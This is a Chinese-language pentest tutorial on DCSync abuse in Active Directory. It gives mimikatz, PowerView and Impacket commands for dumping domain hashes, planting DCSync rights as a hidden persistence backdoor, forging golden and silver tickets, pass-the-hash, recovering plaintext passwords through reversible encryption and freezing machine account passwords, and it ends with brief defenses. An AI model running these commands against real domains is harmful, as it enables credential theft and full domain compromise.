内网渗透 | 域渗透之Dcsync的利用实战

VSole2021-12-05 07:37:25

Dcsync


在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。

当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。


默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。


对域对象只需要具备一下这两个权限,就有dcsync的权限

‘DS-Replication-Get-Changes’     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

利用条件

1.域控本地管理组用户(administrators,Domain Admins,Enterprise Admins的组内用户)

1.域控制器的计算机用户

2.拿下exchange服务器后可以WriteACL赋予指定用户或域机器DCSync权限

利用方式:

拥有上述条件的任意用户权限,即可导出域内任意用户的hash

mimikatz

导出administrator用户的Hash

privilege::debug
lsadump::dcsync /domain:hiro.com /user:administrator 

导出所有域用户的哈希

privilege::debug
lsadump::dcsync /domain:hiro.com /all /csv

后门利用

使用Empire下的powerview.ps1脚本执行以上三条ACE

DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以向域内普通用户添加如下三条ACE(Access Control Entries):

DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

在域管用户上给域用户win7添加以上三条ACE

Add-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

当用户win7具有DCSync权限后,可以导出域内哈希:

python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10

给域用户win7删除以上三条ACE

Remove-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

域用户win7失去了DCSync,同样也无法导出域内hash了

使用黄金票据+DCSync导出域内所有用户的Hash

生成黄金票据:

得到krbtgt用户hash

lsadump::dcsync /domain:hiro.com /user:krbtgt

导入黄金票据

kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

导出域hash

privilege::debug
kerberos::list 
导出所有用户的哈希
lsadump::dcsync /domain:hiro.com /all /csv

哈希传递

python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e

Dcsync+可逆加密存储密码

Active Directory 帐户有一项遗留功能,称为“可逆加密”。通常,使用 NT单向函数对用户密码进行散列以创建 NTLM hash。NTLM hash无法逆转,必须破解。

如果启用了可逆加密,则用户的密码将使用加密存储,这意味着可以将加密的数据还原回用户的密码。使用可逆加密存储的密码不是散列,因为可以调用函数来恢复原始明文密码。


帐户启用可逆加密,帐户的明文密码不会立即可用;如果对帐户启用了可逆加密并且用户在设置此配置后更改了密码,则明文密码将保存在 Active Directory 数据库中。当用户再次调用Dcsync后会显示其明文。


勾选“可逆加密存储密码”这个属性后,用户再次更改密码会显示其明文密码;将administrator设置为可逆加密存储密码

使用ldap条件勾选其使用可逆加密存储属性的帐户

get-adobject -ldapfilter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))”
 
Set-ADUser marry -AllowReversiblePasswordEncryption $true

更改administrator密码,dcsync就能显示其明文密码

python3 secretsdump.py redteam.lab/administrator:Qq123456..@192.168.129.130 -dc-ip 192.168.129.130 -just-dc-user administrator

使用MachineAccount实现DCSync

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令

关闭域内计算机帐户密码自动更新的两种方法(适用于域内主机)

1.修改组策略

选择Default Domain Policy

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

1.修改组策略的配置文件

Default Domain Policy对应的guid为31B2F340-016D-11D2-945F-00C04FB984F9

配置文件路径为:

\\\SYSVOL\\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

修改文件GptTmpl.inf,在[Registry Values]下添加新的内容:

MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

配置完成,将系统时间调快30天,hash保持不变

获得MachineAccount口令hash的方法

1.通过本地SAM文件中读取密码哈希

mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets

返回的结果中,$machine.ACC项对应计算机帐户,如下图

2.使用DCSync导出所有帐户的hash

(1)使用mimikatz

在域控制器上使用mimikatz导出域内所有用户的hash

mimikatz.exe “lsadump::dcsync /domain:test.com /all /csv” exit

(2)使用 secretsdump.py

python3 secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1

secretsdump.py的实现原理:

使用计算机帐户hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash。

3.通过CVE-2020-1472

CVE-2020-1472能够在未授权的状态下远程修改DC计算机帐户的口令hash

像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中NTDS密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。

使用MachineAccount实现DCSync

例如,获得了域控制器DC1的计算机帐户口令hash为7da530fba3b15a2ea21ce7db8110d57b

1.使用mimikatz

这里需要制作白银票据(Silver Ticket),接着获得LDAP服务的访问权限

mimikatz “kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt” “lsadump::dcsync /domain:test.com /all /csv” exit
/sid表示域的sid,
/rc4表示计算机帐户的NTLM hash
/user:krbtgt表示伪造成用户krbtgt,生成票据

2.使用secretsdump

python2 secretsdump.py -hashes :e411580b657837aee7aaadb6e2a4449b redteam/DC1$@192.168.129.130 -just-dc-user krbtgt

注意:

1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied

也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (server2016已经不能用机器账户进行认证登陆)

python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv

防御

通过网络监控检测来自白名单以外的域控制器数据同步复制。
给域控设置白名单,只允许白名单内的域控IP发起数据同步请求。
利用AD自检工具查看哪些域用户有Dcsync的权限。
域控制器domain
本作品采用《CC 协议》,转载必须注明作者和本文链接
发现内网主机:10.10.10.2、10.10.10.4在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况meterpreter > shell. 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2设置路由使用 Nmap 对内网主机进行扫描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
WINDOWS认证机制 阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别 何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一 Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组
Windows AD基础知识
2022-06-14 15:37:35
内容可能有点长,但是这有助于模拟不同的攻击,模拟和了解红队的攻击行为。
国家级APT(Advanced Persistent Threat,高级持续性威胁)组织是有国家背景支持的顶尖黑客团伙,专注于针对特定目标进行长期的持续性网络攻击。 奇安信旗下的高级威胁研究团队红雨滴(RedDrip Team)每年会发布全球APT年报【1】、中报,对当年各大APT团伙的活动进行分析总结。
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(J
域环境下的信息搜集
2023-05-23 09:25:36
单域环境查看域环境用户查看时间/dns服务器net time /domain /net view /domain. 查看域控制器可以得到域控制器IP地址域控还可能开放88 Kerberos 协议,01389 ldap,DNS 53 如果存在EXECHANGE 邮件服务器那么也开放了25还有我们熟悉的139,445.查看身处在哪个域net?该命令批量ping 出存活的IP ,如果没有存在策略限制一般Ping出存货的IP都可以进行端口扫描等操作。同等可以使用 nbtscan /fscan等内网扫描工具替代。会在 js下生成一个txt 里边有web的目录地址域控常见命令:查找目录中的?查看指定IP的登录记录PVEFindADuser -current -target 192.168.91.133
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
如何应对面试官最喜欢问的域管与域控定位问题?今天给大家做个总结,无论是实战还是面试都能给各位有所帮助。 我们在内网渗透中,拿下一台跳板机后要对域内展开工作,不管它在不在域内,对域管与域控的精确定位重要性不言而喻,今天介绍通过命令行定位,借助工具定位,借助ldap协议定位,端口定位以及不再域内定位的各种思路。
Summary这两周一直在做域内DC渗透的工作,持续了较长时间,之前对实战中的域内渗透,尤其是域渗透的安全组件防御了解颇少,所以过程也是磕磕绊绊,不过值得庆祝的是最后工作圆满完成。Information collection首先是常规的一些用户权限,域内环境等信息获取。角色网络域信息ipconfig /all #看到主机名与IP地址信息,DNS后显示域名xxx.org存在,确定Domain name.net view /domain #直接报错。net time /domain #显示出了domain,再通过nslookup查到IP地址,确认此账户的DC name。
VSole
网络安全专家